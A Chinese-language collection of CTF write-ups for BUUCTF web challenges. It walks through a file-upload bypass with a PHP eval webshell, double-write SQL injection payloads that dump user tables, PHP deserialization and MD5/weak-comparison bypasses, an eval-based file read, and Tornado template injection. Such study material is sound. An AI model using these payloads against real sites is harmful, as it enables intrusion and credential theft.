buu Web 题库(3)
[极客大挑战 2019]Upload
先上传一个正常的图片,可是显示 not image,后续上传了其他图片,均不可,应该是进行了限制。
之后抓包改包,抓包的时候随便上传一个一句话木马,然后文件格式为 2.jpg
<?php @eval($_POST['shell'])?>
之后显示过滤了关键词
改成<script language="php">eval($_POST['shell']);</script>
应该是后端也检测了是不是图片,加上文件头 GIF89a
用来欺骗,继续上传
上传成功了,可要想文件被 php 解释器解析,我们还得用到 phtml,这个相当于是把 php 写进 html 里,也可以被解析。
于是构建一句话木马
GIF89a
<script language="php">eval($_POST['shell']);</script>
文件名为 2.jpg,上传骗过网站前端检测,之后抓包,将文件名改为 2.phtml,为了让网站解析,而 GIF89a
则是骗过了网站的后端检测。
上传成功,直接蚁剑连接,这里猜一下路径就可xxxxx/upload/2.phtml
去根目录找 flag。
结束!
[ACTF2020 新生赛]Upload
随便上传几个图片,都显示上传成功,那么试试一句话木马的 php 文件,告诉我们不行。
改个文件后缀试试呢,也能上传成功,那怎么让它可以被解析呢,试试抓包改包。上传一句话木马 1.jpg,然后改包把文件名改成 phtml
成功了,接下来直接蚁剑连接就行了。
和上面的题差不多,甚至还要更简单。
结束!
[极客大挑战 2019]BabySQL
又加强了一次,万能密码试试1' or 1=1
双引号,试试1' or '1=1
密码错误!emmmm,先试试一些关键词比如 or,select 等
这里显示没有输入用户名和密码,用户名为 admin 肯定没问题,应该是 or 关键词被过滤了,且被替换成了空格,所以显示没有输入。其他关键词同理
尝试过双写之后,发现可以。
下面是注入过程,过程中发现了 where、or、from 等词被过滤后,直接双写绕过就可以。
观察回显
1' uniunionon selselectect 1,2,3#
爆数据库
1' uniunionon selselectect 1,2,(selselectect database())#
爆表名
1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek')#
爆两张表的列名,俩表列名是一样的
1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser')#
1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql')#
爆每张表的内容
1' uniunionon selselectect 1,2,(selselectect group_concat(id,username,passwoorrd) frfromom geekuser)#
1' uniunionon selselectect 1,2,(selselectect group_concat(id,username,passwoorrd) frfromom b4bsql)#
结束!
[极客大挑战 2019]PHP
网页提示我们有备份,拿御姐来可以扫出 www.zip 文件,下载文件发现是源码。
看代码
index.php 中:<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
需要提交传参然后反序列化,然后看 class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){$this->username = 'guest';}
function __destruct(){if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();}
}
}
?>
很明显,我们需要让 password 等于 100,然后 username 强等于 admin,然后由于有个_wakeup 函数,由于调用 unserilize()方法前会先调用_wakeup,因此我们也需要进行绕过。
绕过也很简单,将序列化之后的成员属性数目改成大于 2 即可。下面是 php 代码,先进行序列化。
<?php
class Name{
private $username = 'admin';
private $password = '100';# 这里也可以换成数字 100
}
$name = new Name;
print(serialize($name));
?>
结果是
其中复制之后,方格会丢失,因此改为 %00,然后把成员属性数目改成大于 2 的数
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
得到答案
结束!
[ACTF2020 新生赛]BackupFile
题目提示了我们可能有备份,扫一下试试。有个这个
下载下来,有代码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {$key = $_GET['key'];
if(!is_numeric($key)) {exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {echo $flag;}
}
else {echo "Try to find out source file!";}
很简单的一个弱比较,由于比较的时候会把字符串先转化成数字,因此这里的 str 比较的时候其实就是 123,因此我们直接?key=123 即可
http://fceab317-897e-42bf-ad16-f86b852cd0cd.node4.buuoj.cn:81/?key=123
结束!
[RoarCTF 2019]Easy Calc
上来就是个计算器,而且只能输入数字,其他的都不可以,查看源码发现有个 calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
过滤了很多,但也有办法。因为 num 只能输入数字,所以我们可以构造一个_num 让 php 解析成 num 来绕过 waf,如何绕过?
因为 php 会自动将某些无效字符删除或者替换成下划线,所以我们只需要在 num 加个空格就行。
因此查看目录的 payload 为calc.php? num=1;var_dump(scandir(chr(47)))
这里 var_dump()是打印变量相关信息;scandir()是列出指定路径的文件和目录,chr 则是将返回对应字符,此处 47 是 / 的 ASCII 码
找到 flag,然后用 file_get_contents()读取对应内容
calc.php? num=1;var_dump(file_get_contents(chr(47).f1agg))
结束!
[极客大挑战 2019]BuyFlag
在右上角的菜单里找到了 pay.php,然后看到了代码
需要 post 传递参数,同时,他还说必须是 cuit 的学生才可以。抓包看
有个 cookie,猜测是不是改成 1,然后添加 Content-Type: application/x-www-form-urlencoded
进行 post 传参
传入 password=404a&&money=100000000(弱比较,很好绕过)
长度不对,试试科学计数法改成 1e9
请求报文在下面
结束!
[BJDCTF2020]Easy MD5
一开始输入啥也没反应,最后是通过抓包看到了提示
Hint: select * from 'admin' where password=md5($pass,true)
把我们的输入进行了 md5,而且后面的 true 代表使用 16 字符的二进制格式输出。
也就是说我们需要让 md5 之后的值为 'or'xxxxxx',且 or 后面的必须是数字开头,这样才能实现万能密码。类似于1' or 1=1
接下来就需要找这么个数,看了网上的答案,发现 ffifdyop 刚好在 md5 之后是 'or'6xxxx',6 后面是乱码,不过那都不重要。因此答案就是 ffifdyop
跳转到下一个界面,看源码里有代码
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){// wow, glzjin wants a girl friend.
很简单的 md5 比较绕过,利用数组就可以也就是a[]=1&&b[]=2
这里原理是因为,md5 无法加密数组,传入数组的话会执行返回结果为 null,因此比较之后就是 null=null
这里还可以用另一种方法,因为 0e 开头的字符串在比较的时候会被转换为 0,因此两个 0e 开头的字符串在这里也可以,只不过只适用于弱比较,强比较就不行了
下一个界面
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;}
原理和上面一样,传入数组就可以,只不过是 post 传参。
结束!
[护网杯 2018]easy_tornado
首先进入页面,先去了解信息。
第一个: 告诉我们 flag 在 /fllllllllllllag 文件里
第二个: 给了一个词 render
第三个: 给了提示 md5(cookie_secret+md5(filename))
然后我们发现每个 url 都是由文件与 filehash 组成的,猜测最后的提示应该是 /fllllllllllllag 文件的 filehash。然后去了解 render 和 cookie_secret
搜索发现 render 是用来创建模板的,也就是题目可能存在模板注入。
看了网上的 wp 才知道,cookie_secret 是 tornado 的一个环境变量,其存在于 RequestHandler.application.settings 文件中,而我们可以通过一些可以访问的快速对象来访问这个文件,
在这里在 tornado 模板中,存在一些可以访问的快速对象, 这里用到的是 handler.settings,handler 指向 RequestHandler,而 RequestHandler.settings 又指向 self.application.settings,所以 handler.settings 就指向 RequestHandler.application.settings 了,这里面就是 cookie_secret。
接下来就是找模板注入。
尝试过发现,当修改 filename,其与对应的 filehash 不一致时,页面会自动跳转到 error 界面,里面存在一个参数 msg=Error,而此时页面也正好回显 Error,这里应该可以进行模板注入。让 msg={{handler.settings}}可以得到 cookie_secret
接下来写脚本获取 filehash,当然直接用网上的在线加密也可以
import hashlib
filename='/fllllllllllllag'
cookie_secret='da9f54a2-b9e4-4a27-9e7a-ad41d0725ea2'
hash1=hashlib.md5()
hash1.update(filename.encode('utf-8'))
s1=hash1.hexdigest()
#print(s1)
hash2=hashlib.md5()
hash2.update((cookie_secret+s1).encode('utf-8'))
print(hash2.hexdigest())
根据结果,所以 payload 为/file?filename=/fllllllllllllag&filehash=713bea65d7ecced7929793b832f91a5b
结束!
[HCTF 2018]admin
题目中的 github 连接找不到对应项目了,没办法,网上几种解法没法完全复现,只能 admin,这里的 bug: 密码是弱密码 123,得到 flag
结束!